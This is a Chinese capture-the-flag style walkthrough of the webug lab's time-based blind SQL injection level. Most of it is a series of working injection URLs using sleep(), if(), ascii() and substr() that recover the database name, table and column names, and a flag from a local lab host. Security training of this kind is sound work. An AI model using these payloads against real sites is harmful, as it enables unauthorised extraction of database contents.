webug 3、延时注入

基于时间盲注,注入SQL语句执行后不提示真假,也不能通过页面内容来进行判断,通过构造SQL语句注入,查看页面响应的时间来判断信息为时间盲注。

思路:首先使用延时注入语句,查看是否可进行延时注入,然后判断数据库长度,数据库名,后面和布尔相似

使用函数:

sleep(),if(true,false),ascii(),substring()
url:http://192.168.31.64/control/sqlinject/bool_injection.php?id=1

判断注入点

http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and sleep(5) %23
发现网站延迟5秒

判断数据库长度

http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if(length(database())=5,sleep(5),1) %23 
发现数据库长度为5

判断数据库名

http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr(database(),1,1))=119,sleep(5),1) %23 	
数据库第一个字母为w
http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1) %23 
数据库第二个字母为e
以此类推,数据库为webug

判断数据库下有几个表

http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(5),1) %23
数据库下有7张表 	

判断表名长度

http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(5),1) %23	
第一张表长度为9
http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8,sleep(5),1) %23	
第二张表长度为8 
以此类推判断出其他表名的长度

判断表名

判断第一张表名
http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1))=100,sleep(5),1) %23
第一张表的第一个字母为d
以此类推,第一张表名为:data_crud	

判断第二张表名

http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 1,1),1))=101,sleep(5),1) %23
第二张表的第一个字母为e	
http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 1,1),2))=110,sleep(5),1) %23
第二张表的第二个字母为n
以此类推,第二张表名为:env_list	
以此类推,可以查出各个表名

取flag值
因为flag值在表二中,故查询表二的信息

判断表二中有多少列
http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if((select count(column_name) from information_schema.columns where table_name='env_list')=8,sleep(5),1) %23
表二有8列
判断表二中第一个列长度
http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if((select length(column_name) from information_schema.columns where table_name='env_list' limit 0,1)=2,sleep(5),1) %23
表二中第一个列长度为2	
判断表二中第一列第一个字母
http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=105,sleep(5),1) %23
表二中第一列第一个字母为i
以此类推为:id		
以此类推,可查出所有列名

Ps:flag值在第6列,所在列名为:envFlag
当id=3时,列名envFlag所取得值为flag值

判断flag值长度

http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if((select length(envFlag) from env_list limit 2,1)=9,sleep(5),1) %23		flag值长度为9		
判断flag值第一个字母
http://192.168.31.64/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select envFlag from env_list limit 2,1),1))=103,sleep(5),1) %23		flag值第一个字母为g
以此类推,判断出flag值为:gfdgdfsdg
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值